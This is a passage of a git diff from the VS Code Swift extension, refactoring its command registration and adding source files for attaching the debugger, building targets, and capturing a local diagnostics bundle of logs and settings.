vscode.TaskRevealKind.Silent }, +export function register(ctx: WorkspaceContext): vscode.Disposable[] { + return [ + vscode.commands.registerCommand( + "swift.generateLaunchConfigurations", + async () => await generateLaunchConfigurations(ctx) + ), + vscode.commands.registerCommand("swift.newFile", async uri => await newSwiftFile(uri)), + vscode.commands.registerCommand( + Commands.RESOLVE_DEPENDENCIES, + async () => await resolveDependencies(ctx) + ), + vscode.commands.registerCommand( + Commands.UPDATE_DEPENDENCIES, + async () => await updateDependencies(ctx) + ), + vscode.commands.registerCommand( + Commands.RUN, + async target => await runBuild(ctx, ...unwrapTreeItem(target)) + ), + vscode.commands.registerCommand( + Commands.DEBUG, + async target => await debugBuild(ctx, ...unwrapTreeItem(target)) + ), + vscode.commands.registerCommand(Commands.CLEAN_BUILD, async () => await cleanBuild(ctx)), + vscode.commands.registerCommand( + Commands.RUN_TESTS_MULTIPLE_TIMES, + async (...args: (vscode.TestItem | number)[]) => { + const { testItems, count } = extractTestItemsAndCount(...args); + if (ctx.currentFolder) { + return await runTestMultipleTimes( + ctx.currentFolder, + testItems, + false, + TestKind.standard, + count + ); + } } - ); - - await executeTaskWithUI(resolveTask, "Resolving Dependencies", folderContext); - }); -} - -/** - * Run single Swift file through Swift REPL - */ -async function runSingleFile(ctx: WorkspaceContext) { - const document = vscode.window.activeTextEditor?.document; - if (!document) { - return; - } - - // Swift scripts require new swift driver to work on Windows. Swift driver is available - // from v5.7 of Windows Swift - if (process.platform === "win32" && ctx.toolchain.swiftVersion < new Version(5, 7, 0)) { - vscode.window.showErrorMessage( - "Run Swift Script is unavailable with the legacy driver on Windows." - ); - return; - } - - let filename = document.fileName; - let isTempFile = false; - if (document.isUntitled) { - // if document hasn't been saved, save it to a temporary file - isTempFile = true; - filename = ctx.tempFolder.filename(document.fileName, "swift"); - const text = document.getText(); - await fs.writeFile(filename, text); - } else { - // otherwise save document - await document.save(); - } - - const runTask = createSwiftTask([filename], `Run ${filename}`, { - scope: vscode.TaskScope.Global, - cwd: vscode.Uri.file(path.dirname(filename)), - presentationOptions: { reveal: vscode.TaskRevealKind.Always, clear: true }, - }); - await ctx.tasks.executeTaskAndWait(runTask); - - // delete file after running swift - if (isTempFile) { - await fs.rm(filename); - } -} - -/** - * Use local version of package dependency - * - * equivalent of `swift package edit --path identifier - * @param identifier Identifier for dependency - * @param ctx workspace context - */ -async function useLocalDependency(identifier: string, ctx: WorkspaceContext) { - const currentFolder = ctx.currentFolder; - if (!currentFolder) { - return; - } - vscode.window - .showOpenDialog({ - canSelectFiles: false, - canSelectFolders: true, - canSelectMany: false, - defaultUri: currentFolder.folder, - openLabel: "Select", - title: "Select folder", - }) - .then(async value => { - if (!value) { - return; + ), + vscode.commands.registerCommand( + Commands.RUN_TESTS_UNTIL_FAILURE, + async (...args: (vscode.TestItem | number)[]) => { + const { testItems, count } = extractTestItemsAndCount(...args); + if (ctx.currentFolder) { + return await runTestMultipleTimes( + ctx.currentFolder, + testItems, + true, + TestKind.standard, + count + ); + } } - const folder = value[0]; - const task = createSwiftTask( - ["package", "edit", "--path", folder.fsPath, identifier], - "Edit Package Dependency", - { - scope: currentFolder.workspaceFolder, - cwd: currentFolder.folder, - prefix: currentFolder.name, + ), + + vscode.commands.registerCommand( + Commands.DEBUG_TESTS_MULTIPLE_TIMES, + async (...args: (vscode.TestItem | number)[]) => { + const { testItems, count } = extractTestItemsAndCount(...args); + if (ctx.currentFolder) { + return await runTestMultipleTimes( + ctx.currentFolder, + testItems, + false, + TestKind.debug, + count + ); } - ); - await executeTaskWithUI( - task, - `Use local version of ${identifier}`, - currentFolder, - true - ).then(result => { - if (result) { - ctx.fireEvent(currentFolder, FolderEvent.resolvedUpdated); + } + ), + vscode.commands.registerCommand( + Commands.DEBUG_TESTS_UNTIL_FAILURE, + async (...args: (vscode.TestItem | number)[]) => { + const { testItems, count } = extractTestItemsAndCount(...args); + if (ctx.currentFolder) { + return await runTestMultipleTimes( + ctx.currentFolder, + testItems, + true, + TestKind.debug, + count + ); } - }); - }); -} - -/** - * Setup package dependency to be edited - * @param identifier Identifier of dependency we want to edit - * @param ctx workspace context - */ -async function editDependency(identifier: string, ctx: WorkspaceContext) { - const currentFolder = ctx.currentFolder; - if (!currentFolder) { - return; - } - const task = createSwiftTask(["package", "edit", identifier], "Edit Package Dependency", { - scope: currentFolder.workspaceFolder, - cwd: currentFolder.folder, - prefix: currentFolder.name, - }); - await executeTaskWithUI(task, `edit locally ${identifier}`, currentFolder, true).then( - result => { - if (result) { - ctx.fireEvent(currentFolder, FolderEvent.resolvedUpdated); - // add folder to workspace - const index = vscode.workspace.workspaceFolders?.length ?? 0; - vscode.workspace.updateWorkspaceFolders(index, 0, { - uri: vscode.Uri.file(currentFolder.editedPackageFolder(identifier)), - name: identifier, - }); } - } - ); -} - -/** - * Stop local editing of package dependency - * @param identifier Identifier of dependency - * @param ctx workspace context - */ -async function uneditDependency(identifier: string, ctx: WorkspaceContext) { - const currentFolder = ctx.currentFolder; - if (!currentFolder) { - return; - } - ctx.outputChannel.log(`unedit dependency ${identifier}`, currentFolder.name); - const status = `Reverting edited dependency ${identifier} (${currentFolder.name})`; - ctx.statusItem.start(status); - await uneditFolderDependency(currentFolder, identifier, ctx); - ctx.statusItem.end(status); -} - -async function uneditFolderDependency( - folder: FolderContext, - identifier: string, - ctx: WorkspaceContext, - args: string[] = [] -) { - try { - await execSwift( - ["package", "unedit", ...args, identifier], - { - cwd: folder.folder.fsPath, - }, - folder - ); - ctx.fireEvent(folder, FolderEvent.resolvedUpdated); - // find workspace folder, and check folder still exists - const folderIndex = vscode.workspace.workspaceFolders?.findIndex( - item => item.name === identifier - ); - if (folderIndex) { - try { - // check folder exists. if error thrown remove folder - await fs.stat(vscode.workspace.workspaceFolders![folderIndex].uri.fsPath); - } catch { - vscode.workspace.updateWorkspaceFolders(folderIndex, 1); + ), + // Note: switchPlatform is only available on macOS and Swift 6.1 or later + // (gated in `package.json`) because it's the only OS and toolchain combination that + // has Darwin SDKs available and supports code editing with SourceKit-LSP + vscode.commands.registerCommand( + "swift.switchPlatform", + async () => await switchPlatform(ctx) + ), + vscode.commands.registerCommand( + Commands.RESET_PACKAGE, + async (_ /* Ignore context */, folder) => await resetPackage(ctx, folder) + ), + vscode.commands.registerCommand("swift.runScript", async () => { + if (ctx && vscode.window.activeTextEditor?.document) { + await runSwiftScript( + vscode.window.activeTextEditor.document, + ctx.tasks, + ctx.currentFolder?.toolchain ?? ctx.globalToolchain + ); } - } - } catch (error) { - const execError = error as { stderr: string }; - // if error contains "has uncommited changes" then ask if user wants to force the unedit - if (execError.stderr.match(/has uncommited changes/)) { - vscode.window - .showWarningMessage( - `${identifier} has uncommitted changes. Are you sure you want to continue?`, - "Yes", - "No" - ) - .then(async result => { - if (result === "No") { - ctx.outputChannel.log(execError.stderr, folder.name); - return; - } - await uneditFolderDependency(folder, identifier, ctx, ["--force"]); - }); - } else { - ctx.outputChannel.log(execError.stderr, folder.name); - vscode.window.showErrorMessage(`${execError.stderr}`); - } - } -} - -/** - * Open local package in workspace - * @param packageNode PackageNode attached to dependency tree item - */ -async function openInWorkspace(packageNode: PackageNode) { - const index = vscode.workspace.workspaceFolders?.length ?? 0; - vscode.workspace.updateWorkspaceFolders(index, 0, { - uri: vscode.Uri.file(packageNode.path), - name: packageNode.name, - }); -} - -/** - * Open Package.swift for in focus project - * @param workspaceContext Workspace context, required to get current project - */ -async function openPackage(workspaceContext: WorkspaceContext) { - if (workspaceContext.currentFolder) { - const packagePath = vscode.Uri.joinPath( - workspaceContext.currentFolder.folder, - "Package.swift" - ); - const document = await vscode.workspace.openTextDocument(packagePath); - vscode.window.showTextDocument(document); - } -} - -/** Execute task and show UI while running */ -async function executeTaskWithUI( - task: vscode.Task, - description: string, - folderContext: FolderContext, - showErrors = false, - checkAlreadyRunning?: boolean -): Promise { - try { - const exitCode = await folderContext.taskQueue.queueOperation({ - task: task, - showStatusItem: true, - log: description, - checkAlreadyRunning: checkAlreadyRunning, - }); - if (exitCode === 0) { - return true; - } else { - if (showErrors) { - vscode.window.showErrorMessage(`${description} failed`); + }), + vscode.commands.registerCommand("swift.openPackage", async () => { + if (ctx.currentFolder) { + return await openPackage(ctx.currentFolder.swiftVersion, ctx.currentFolder.folder); } - return false; - } - } catch (error) { - if (showErrors) { - vscode.window.showErrorMessage(`${description} failed: ${error}`); - } - return false; - } -} - -/** - * - * @param packageNode PackageNode attached to dependency tree item - */ -function openInExternalEditor(packageNode: PackageNode) { - try { - const uri = vscode.Uri.parse(packageNode.path, true); - vscode.env.openExternal(uri); - } catch { - // ignore error - } -} - -function updateAfterError(result: boolean, folderContext: FolderContext) { - const triggerResolvedUpdatedEvent = folderContext.hasResolveErrors; - // set has resolve errors flag - folderContext.hasResolveErrors = !result; - // if previous folder state was with resolve errors, and now it is without then - // send Package.resolved updated event to trigger display of package dependencies - // view - if (triggerResolvedUpdatedEvent && !folderContext.hasResolveErrors) { - folderContext.fireEvent(FolderEvent.resolvedUpdated); - } -} - -/** - * Registers this extension's commands in the given {@link vscode.ExtensionContext context}. - */ -export function register(ctx: WorkspaceContext) { - ctx.subscriptions.push( - vscode.commands.registerCommand("swift.resolveDependencies", () => - resolveDependencies(ctx) - ), - vscode.commands.registerCommand("swift.updateDependencies", () => updateDependencies(ctx)), - vscode.commands.registerCommand("swift.cleanBuild", () => cleanBuild(ctx)), - vscode.commands.registerCommand("swift.resetPackage", () => resetPackage(ctx)), - vscode.commands.registerCommand("swift.runSingle", () => runSingleFile(ctx)), - vscode.commands.registerCommand("swift.openPackage", () => openPackage(ctx)), - vscode.commands.registerCommand("swift.useLocalDependency", item => { - if (item instanceof PackageNode) { - useLocalDependency(item.name, ctx); + }), + vscode.commands.registerCommand( + Commands.RUN_SNIPPET, + async target => await runSnippet(ctx, ...unwrapTreeItem(target)) + ), + vscode.commands.registerCommand( + Commands.DEBUG_SNIPPET, + async target => await debugSnippet(ctx, ...unwrapTreeItem(target)) + ), + vscode.commands.registerCommand( + Commands.RUN_PLUGIN_TASK, + async () => await runPluginTask() + ), + vscode.commands.registerCommand(Commands.RUN_TASK, async name => await runTask(ctx, name)), + vscode.commands.registerCommand( + Commands.RESTART_LSP, + async () => await restartLSPServer(ctx) + ), + vscode.commands.registerCommand( + "swift.reindexProject", + async () => await reindexProject(ctx) + ), + vscode.commands.registerCommand( + "swift.insertFunctionComment", + async () => await insertFunctionComment(ctx) + ), + vscode.commands.registerCommand(Commands.USE_LOCAL_DEPENDENCY, async (item, dep) => { + if (PackageNode.isPackageNode(item)) { + return await useLocalDependency(item.name, ctx, dep); } }), - vscode.commands.registerCommand("swift.editDependency", item => { - if (item instanceof PackageNode) { - editDependency(item.name, ctx); + vscode.commands.registerCommand("swift.editDependency", async (item, folder) => { + if (PackageNode.isPackageNode(item)) { + return await editDependency(item.name, ctx, folder); } }), - vscode.commands.registerCommand("swift.uneditDependency", item => { - if (item instanceof PackageNode) { - uneditDependency(item.name, ctx); + vscode.commands.registerCommand(Commands.UNEDIT_DEPENDENCY, async (item, folder) => { + if (PackageNode.isPackageNode(item)) { + return await uneditDependency(item.name, ctx, folder); } }), - vscode.commands.registerCommand("swift.openInWorkspace", item => { - if (item instanceof PackageNode) { - openInWorkspace(item); + vscode.commands.registerCommand("swift.openInWorkspace", async item => { + if (PackageNode.isPackageNode(item)) { + return await openInWorkspace(item); } }), vscode.commands.registerCommand("swift.openExternal", item => { - if (item instanceof PackageNode) { - openInExternalEditor(item); + if (PackageNode.isPackageNode(item)) { + return openInExternalEditor(item); } - }) - ); + }), + vscode.commands.registerCommand("swift.attachDebugger", attachDebugger), + vscode.commands.registerCommand("swift.clearDiagnosticsCollection", () => + ctx.diagnostics.clear() + ), + vscode.commands.registerCommand( + "swift.captureDiagnostics", + async () => await captureDiagnostics(ctx) + ), + vscode.commands.registerCommand( + Commands.RUN_ALL_TESTS_PARALLEL, + async item => await runAllTests(ctx, TestKind.parallel, ...unwrapTreeItem(item)) + ), + vscode.commands.registerCommand( + Commands.RUN_ALL_TESTS, + async item => await runAllTests(ctx, TestKind.standard, ...unwrapTreeItem(item)) + ), + vscode.commands.registerCommand( + Commands.DEBUG_ALL_TESTS, + async item => await runAllTests(ctx, TestKind.debug, ...unwrapTreeItem(item)) + ), + vscode.commands.registerCommand( + Commands.COVER_ALL_TESTS, + async item => await runAllTests(ctx, TestKind.coverage, ...unwrapTreeItem(item)) + ), + vscode.commands.registerCommand( + Commands.RUN_TEST, + async item => await runTest(ctx, TestKind.standard, item) + ), + vscode.commands.registerCommand( + Commands.DEBUG_TEST, + async item => await runTest(ctx, TestKind.debug, item) + ), + vscode.commands.registerCommand( + Commands.RUN_TEST_WITH_COVERAGE, + async item => await runTest(ctx, TestKind.coverage, item) + ), + vscode.commands.registerCommand( + Commands.PREVIEW_DOCUMENTATION, + async () => await ctx.documentation.launchDocumentationPreview() + ), + vscode.commands.registerCommand(Commands.SHOW_FLAT_DEPENDENCIES_LIST, () => + updateDependenciesViewList(ctx, true) + ), + vscode.commands.registerCommand(Commands.SHOW_NESTED_DEPENDENCIES_LIST, () => + updateDependenciesViewList(ctx, false) + ), + vscode.commands.registerCommand("swift.openEducationalNote", uri => + openEducationalNote(uri) + ), + vscode.commands.registerCommand(Commands.OPEN_MANIFEST, async (uri: vscode.Uri) => { + const packagePath = path.join(uri.fsPath, "Package.swift"); + await vscode.commands.executeCommand("vscode.open", vscode.Uri.file(packagePath)); + }), + vscode.commands.registerCommand("swift.openDocumentation", () => openDocumentation()), + vscode.commands.registerCommand( + Commands.GENERATE_SOURCEKIT_CONFIG, + async () => await generateSourcekitConfiguration(ctx) + ), + vscode.commands.registerCommand( + "swift.showCommands", + async () => + await vscode.commands.executeCommand("workbench.action.quickOpen", ">Swift: ") + ), + vscode.commands.registerCommand( + "swift.configureSettings", + async () => + await vscode.commands.executeCommand( + "workbench.action.openSettings", + "@ext:swiftlang.swift-vscode " + ) + ), + vscode.commands.registerCommand( + Commands.INSTALL_SWIFTLY_TOOLCHAIN, + async () => await promptToInstallSwiftlyToolchain(ctx, "stable") + ), + vscode.commands.registerCommand( + Commands.INSTALL_SWIFTLY_SNAPSHOT_TOOLCHAIN, + async () => await promptToInstallSwiftlyToolchain(ctx, "snapshot") + ), + ]; +} + +/** + * Certain commands can be called via a vscode TreeView, which will pass a {@link CommandNode} object. + * If the command is called via a command palette or other means, the target will be a string. + */ +function unwrapTreeItem(target?: string | { args: string[] }): string[] { + if (typeof target === "object" && target !== null && "args" in target) { + return target.args ?? []; + } else if (typeof target === "string") { + return [target]; + } + return []; } diff --git a/src/commands/attachDebugger.ts b/src/commands/attachDebugger.ts new file mode 100644 index 000000000..a145e8c37 --- /dev/null +++ b/src/commands/attachDebugger.ts @@ -0,0 +1,37 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { SWIFT_LAUNCH_CONFIG_TYPE } from "../debugger/debugAdapter"; + +/** + * Attaches the LLDB debugger to a running process selected by the user. + * + * This function retrieves a list of processes using `getLldbProcess`, then presents + * a process picker to the user. If the user selects a process, it configures LLDB + * to attach to that process and starts the debugging session in VS Code. + * + * @param {WorkspaceContext} ctx - The workspace context, which provides access to toolchain and configuration details. + * @returns {Promise} - A promise that resolves when the debugger is successfully attached or the user cancels the operation. + * + * @throws Will display an error message if no processes are available, or if the debugger fails to attach to the selected process. + */ +export async function attachDebugger() { + await vscode.debug.startDebugging(undefined, { + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "attach", + name: "Attach", + pid: "${command:pickProcess}", + }); +} diff --git a/src/commands/build.ts b/src/commands/build.ts new file mode 100644 index 000000000..4e2235c95 --- /dev/null +++ b/src/commands/build.ts @@ -0,0 +1,121 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { FolderContext } from "../FolderContext"; +import { Target } from "../SwiftPackage"; +import { WorkspaceContext } from "../WorkspaceContext"; +import { debugLaunchConfig, getLaunchConfiguration } from "../debugger/launch"; +import { SwiftTaskProvider, createSwiftTask } from "../tasks/SwiftTaskProvider"; +import { packageName } from "../utilities/tasks"; +import { executeTaskWithUI } from "./utilities"; + +/** + * Executes a {@link vscode.Task task} to run swift target. + */ +export async function runBuild(ctx: WorkspaceContext, target?: string) { + return await debugBuildWithOptions(ctx, { noDebug: true }, target); +} + +/** + * Executes a {@link vscode.Task task} to debug swift target. + */ +export async function debugBuild(ctx: WorkspaceContext, target?: string) { + return await debugBuildWithOptions(ctx, {}, target); +} + +/** + * Executes a {@link vscode.Task task} to delete all build artifacts. + */ +export async function cleanBuild(ctx: WorkspaceContext) { + const current = ctx.currentFolder; + if (!current) { + return; + } + return await folderCleanBuild(current); +} + +/** + * Run `swift package clean` inside a folder + * @param folderContext folder to run update inside + */ +export async function folderCleanBuild(folderContext: FolderContext) { + const task = createSwiftTask( + ["package", "clean"], + SwiftTaskProvider.cleanBuildName, + { + cwd: folderContext.folder, + scope: folderContext.workspaceFolder, + packageName: packageName(folderContext), + presentationOptions: { reveal: vscode.TaskRevealKind.Silent }, + group: vscode.TaskGroup.Clean, + }, + folderContext.toolchain + ); + + return await executeTaskWithUI(task, "Clean Build", folderContext); +} + +/** + * Executes a {@link vscode.Task task} to debug swift target. + */ +export async function debugBuildWithOptions( + ctx: WorkspaceContext, + options: vscode.DebugSessionOptions, + targetName: string | undefined +) { + const current = ctx.currentFolder; + if (!current) { + ctx.logger.debug("debugBuildWithOptions: No current folder on WorkspaceContext"); + return; + } + + let target: Target | undefined; + if (targetName) { + const targets = await current.swiftPackage.targets; + target = targets.find(target => target.name === targetName); + } else { + const file = vscode.window.activeTextEditor?.document.fileName; + if (!file) { + ctx.logger.debug("debugBuildWithOptions: No active text editor"); + return; + } + + target = await current.swiftPackage.getTarget(file); + } + + if (!target) { + ctx.logger.debug("debugBuildWithOptions: No active target"); + return; + } + + if (target.type !== "executable") { + ctx.logger.debug( + `debugBuildWithOptions: Target is not an executable, instead is ${target.type}` + ); + return; + } + + const launchConfig = await getLaunchConfiguration(target.name, "debug", current); + if (launchConfig) { + ctx.buildStarted(target.name, launchConfig, options); + const result = await debugLaunchConfig( + vscode.workspace.workspaceFile ? undefined : current.workspaceFolder, + launchConfig, + options + ); + ctx.buildFinished(target.name, launchConfig, options); + return result; + } +} diff --git a/src/commands/captureDiagnostics.ts b/src/commands/captureDiagnostics.ts new file mode 100644 index 000000000..a7732e944 --- /dev/null +++ b/src/commands/captureDiagnostics.ts @@ -0,0 +1,430 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as archiver from "archiver"; +import { exec } from "child_process"; +import * as fs from "fs"; +import * as fsPromises from "fs/promises"; +import { tmpdir } from "os"; +import * as path from "path"; +import { Writable } from "stream"; +import * as vscode from "vscode"; + +import { FolderContext } from "../FolderContext"; +import { WorkspaceContext } from "../WorkspaceContext"; +import configuration from "../configuration"; +import { DebugAdapter } from "../debugger/debugAdapter"; +import { Extension } from "../utilities/extensions"; +import { destructuredPromise, execFileStreamOutput } from "../utilities/utilities"; +import { Version } from "../utilities/version"; + +export async function captureDiagnostics( + ctx: WorkspaceContext, + allowMinimalCapture: boolean = true +): Promise { + try { + const captureMode = await captureDiagnosticsMode(ctx, allowMinimalCapture); + + // dialog was cancelled + if (!captureMode) { + return; + } + + const diagnosticsDir = path.join( + tmpdir(), + `vscode-diagnostics-${formatDateString(new Date())}` + ); + + await fsPromises.mkdir(diagnosticsDir); + + const singleFolderWorkspace = ctx.folders.length === 1; + const zipDir = await createDiagnosticsZipDir(); + const zipFilePath = path.join(zipDir, `${path.basename(diagnosticsDir)}.zip`); + const { archive, done: archivingDone } = configureZipArchiver(zipFilePath); + + const archivedLldbDapLogFolders = new Set(); + const includeLldbDapLogs = DebugAdapter.getLaunchConfigType( + ctx.globalToolchainSwiftVersion + ); + if (captureMode === "Full" && includeLldbDapLogs) { + for (const defaultLldbDapLogs of [defaultLldbDapLogFolder(ctx), lldbDapLogFolder()]) { + if (!defaultLldbDapLogs || archivedLldbDapLogFolders.has(defaultLldbDapLogs)) { + continue; + } + archivedLldbDapLogFolders.add(defaultLldbDapLogs); + await copyLogFolder(ctx, diagnosticsDir, defaultLldbDapLogs); + } + } + + for (const folder of ctx.folders) { + const baseName = path.basename(folder.folder.fsPath); + const guid = Math.random().toString(36).substring(2, 10); + const outputDir = singleFolderWorkspace + ? diagnosticsDir + : path.join(diagnosticsDir, baseName); + await fsPromises.mkdir(outputDir, { recursive: true }); + await writeLogFile(outputDir, `${baseName}-${guid}-settings.txt`, settingsLogs(folder)); + + if (captureMode === "Full") { + await writeLogFile( + outputDir, + `${baseName}-${guid}-source-code-diagnostics.txt`, + diagnosticLogs() + ); + + // The `sourcekit-lsp diagnose` command is only available in 6.0 and higher. + if (folder.toolchain.swiftVersion.isGreaterThanOrEqual(new Version(6, 0, 0))) { + await sourcekitDiagnose(folder, outputDir); + } else if ( + vscode.workspace + .getConfiguration("sourcekit-lsp") + .get("trace.server", "off") !== "off" + ) { + const logFile = sourceKitLogFile(folder); + if (logFile) { + await copyLogFile(outputDir, logFile); + } + } + + const includeLldbDapLogs = DebugAdapter.getLaunchConfigType(folder.swiftVersion); + if (!includeLldbDapLogs) { + continue; + } + // Copy lldb-dap logs + const lldbDapLogs = lldbDapLogFolder(folder.workspaceFolder); + if (lldbDapLogs && !archivedLldbDapLogFolders.has(lldbDapLogs)) { + archivedLldbDapLogFolders.add(lldbDapLogs); + await copyLogFolder(ctx, outputDir, lldbDapLogs); + } + } + } + // Leave at end in case log above + await copyLogFile(diagnosticsDir, extensionLogFile(ctx)); + + archive.directory(diagnosticsDir, false); + void archive.finalize(); + await archivingDone; + + // Clean up the diagnostics directory, leaving `zipFilePath` with the zip file. + await fsPromises.rm(diagnosticsDir, { recursive: true, force: true }); + + ctx.logger.info(`Saved diagnostics to ${zipFilePath}`); + await showCapturedDiagnosticsResults(zipFilePath); + + return zipFilePath; + } catch (error) { + void vscode.window.showErrorMessage(`Unable to capture diagnostic logs: ${error}`); + } +} + +function configureZipArchiver(zipFilePath: string): { + archive: archiver.Archiver; + done: Promise; +} { + const output = fs.createWriteStream(zipFilePath); + // Create an archive with max compression + const archive = archiver.create("zip", { + zlib: { level: 9 }, + }); + const { promise, resolve, reject } = destructuredPromise(); + output.once("close", () => { + archive.removeListener("error", reject); + resolve(); + }); + archive.once("error", err => { + output.removeListener("close", resolve); + reject(err); + }); + archive.pipe(output); + return { archive, done: promise }; +} + +export async function promptForDiagnostics(ctx: WorkspaceContext) { + const ok = "OK"; + const cancel = "Cancel"; + const result = await vscode.window.showInformationMessage( + "SourceKit-LSP has been restored. Would you like to capture a diagnostic bundle to file an issue?", + ok, + cancel + ); + + if (!result || result === cancel) { + return; + } + + return await captureDiagnostics(ctx, false); +} + +async function captureDiagnosticsMode( + ctx: WorkspaceContext, + allowMinimalCapture: boolean +): Promise<"Minimal" | "Full" | undefined> { + if (ctx.globalToolchainSwiftVersion.isGreaterThanOrEqual(new Version(6, 0, 0))) { + const fullButton = "Capture Full Diagnostics"; + const minimalButton = "Capture Minimal Diagnostics"; + const buttons = allowMinimalCapture ? [fullButton, minimalButton] : [fullButton]; + const fullCaptureResult = await vscode.window.showInformationMessage( + `A Diagnostic Bundle collects information that helps the developers of the Swift for VS Code extension diagnose and fix issues. + +This information includes: +- Extension logs +- Extension settings +- Versions of Swift installed on your system + +If you allow capturing a Full Diagnostic Bundle, the information will also include: +- Crash logs from SourceKit +- Log messages emitted by SourceKit +- If possible, a minimized project that caused SourceKit to crash +- If possible, a minimized project that caused the Swift compiler to crash +- If available, log messages emitted by LLDB DAP + +All information is collected locally and you can inspect the diagnose bundle before sharing it with developers of the Swift for VS Code extension. + +Please file an issue with a description of the problem you are seeing at https://github.com/swiftlang/vscode-swift, and attach this diagnose bundle.`, + { + modal: true, + detail: allowMinimalCapture + ? `If you wish to omit potentially sensitive information choose "${minimalButton}"` + : undefined, + }, + ...buttons + ); + if (!fullCaptureResult) { + return undefined; + } + + return fullCaptureResult === fullButton ? "Full" : "Minimal"; + } else { + return "Minimal"; + } +} + +async function showCapturedDiagnosticsResults(diagnosticsPath: string) { + const showInFinderButton = `Show In ${showCommandType()}`; + const copyPath = "Copy Path to Clipboard"; + const result = await vscode.window.showInformationMessage( + `Saved diagnostic logs to ${diagnosticsPath}`, + showInFinderButton, + copyPath + ); + if (result === copyPath) { + await vscode.env.clipboard.writeText(diagnosticsPath); + } else if (result === showInFinderButton) { + const dirToShow = path.dirname(diagnosticsPath); + exec(showDirectoryCommand(dirToShow), error => { + // Opening the explorer on windows returns an exit code of 1 despite opening successfully. + if (error && process.platform !== "win32") { + void vscode.window.showErrorMessage( + `Failed to open ${showCommandType()}: ${error.message}` + ); + } + }); + } +} + +async function writeLogFile(dir: string, name: string, logs: string) { + if (logs.length === 0) { + return; + } + await fsPromises.writeFile(path.join(dir, name), logs); +} + +async function copyLogFile(dir: string, filePath: string) { + await fsPromises.copyFile(filePath, path.join(dir, path.basename(filePath))); +} + +async function copyLogFolder(ctx: WorkspaceContext, dir: string, folderPath: string) { + try { + const lldbLogFiles = await fsPromises.readdir(folderPath); + for (const log of lldbLogFiles) { + await copyLogFile(dir, path.join(folderPath, log)); + } + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") { + ctx.logger.error(`Failed to read log files from ${folderPath}: ${error}`); + } + } +} + +/** + * Creates a directory for diagnostics zip files, located in the system's temporary directory. + */ +async function createDiagnosticsZipDir(): Promise { + const diagnosticsDir = path.join(tmpdir(), "vscode-diagnostics", formatDateString(new Date())); + await fsPromises.mkdir(diagnosticsDir, { recursive: true }); + return diagnosticsDir; +} + +function extensionLogFile(ctx: WorkspaceContext): string { + return ctx.logger.logFilePath; +} + +function defaultLldbDapLogFolder(ctx: WorkspaceContext): string { + const rootLogFolder = path.dirname(ctx.loggerFactory.logFolderUri.fsPath); + return path.join(rootLogFolder, Extension.LLDBDAP); +} + +function lldbDapLogFolder(workspaceFolder?: vscode.WorkspaceFolder): string | undefined { + const config = vscode.workspace.workspaceFile + ? vscode.workspace.getConfiguration("lldb-dap") + : vscode.workspace.getConfiguration("lldb-dap", workspaceFolder); + let logFolder = config.get("logFolder"); + if (!logFolder) { + return; + } else if (!path.isAbsolute(logFolder)) { + const logFolderSettingInfo = config.inspect("logFolder"); + if (logFolderSettingInfo?.workspaceFolderValue && workspaceFolder) { + logFolder = path.join(workspaceFolder.uri.fsPath, logFolder); + } else if (logFolderSettingInfo?.workspaceValue && vscode.workspace.workspaceFile) { + logFolder = path.join(path.dirname(vscode.workspace.workspaceFile.fsPath), logFolder); + } else if (vscode.workspace.workspaceFolders?.length) { + logFolder = path.join(vscode.workspace.workspaceFolders[0].uri.fsPath, logFolder); + } + } + return logFolder; +} + +function settingsLogs(ctx: FolderContext): string { + const settings = JSON.stringify(vscode.workspace.getConfiguration("swift"), null, 2); + return `${ctx.toolchain.diagnostics}\nSettings:\n${settings}`; +} + +function diagnosticLogs(): string { + const diagnosticToString = (diagnostic: vscode.Diagnostic) => { + return `${severityToString(diagnostic.severity)} - ${diagnostic.message} [Ln ${diagnostic.range.start.line}, Col ${diagnostic.range.start.character}]`; + }; + + return vscode.languages + .getDiagnostics() + .map( + ([uri, diagnostics]) => `${uri}\n\t${diagnostics.map(diagnosticToString).join("\n\t")}` + ) + .join("\n"); +} + +function sourceKitLogFile(folder: FolderContext) { + const languageClient = folder.workspaceContext.languageClientManager.get(folder); + return languageClient.languageClientOutputChannel?.logFilePath; +} + +async function sourcekitDiagnose(ctx: FolderContext, dir: string) { + const sourcekitDiagnosticDir = path.join(dir, "sourcekit-lsp"); + await fsPromises.mkdir(sourcekitDiagnosticDir); + + const toolchainSourceKitLSP = ctx.toolchain.getToolchainExecutable("sourcekit-lsp"); + const lspConfig = configuration.lsp; + const serverPathConfig = lspConfig.serverPath; + const serverPath = serverPathConfig.length > 0 ? serverPathConfig : toolchainSourceKitLSP; + + await vscode.window.withProgress( + { + location: vscode.ProgressLocation.Notification, + }, + async progress => { + progress.report({ message: "Diagnosing SourceKit-LSP..." }); + let lastProgress = 0; + const writableStream = progressUpdatingWritable(percentStr => { + const percent = parseInt(percentStr, 10); + progress.report({ + message: `Diagnosing SourceKit-LSP: ${percent}%`, + increment: percent - lastProgress, + }); + lastProgress = percent; + }); + + await execFileStreamOutput( + serverPath, + [ + "diagnose", + "--bundle-output-path", + sourcekitDiagnosticDir, + "--toolchain", + ctx.toolchain.toolchainPath, + ], + writableStream, + writableStream, + null, + { + env: { ...process.env, ...configuration.swiftEnvironmentVariables }, + maxBuffer: 16 * 1024 * 1024, + }, + ctx ?? undefined + ); + } + ); +} + +function progressUpdatingWritable(updateProgress: (str: string) => void): Writable { + return new Writable({ + write(chunk, _encoding, callback) { + const str = 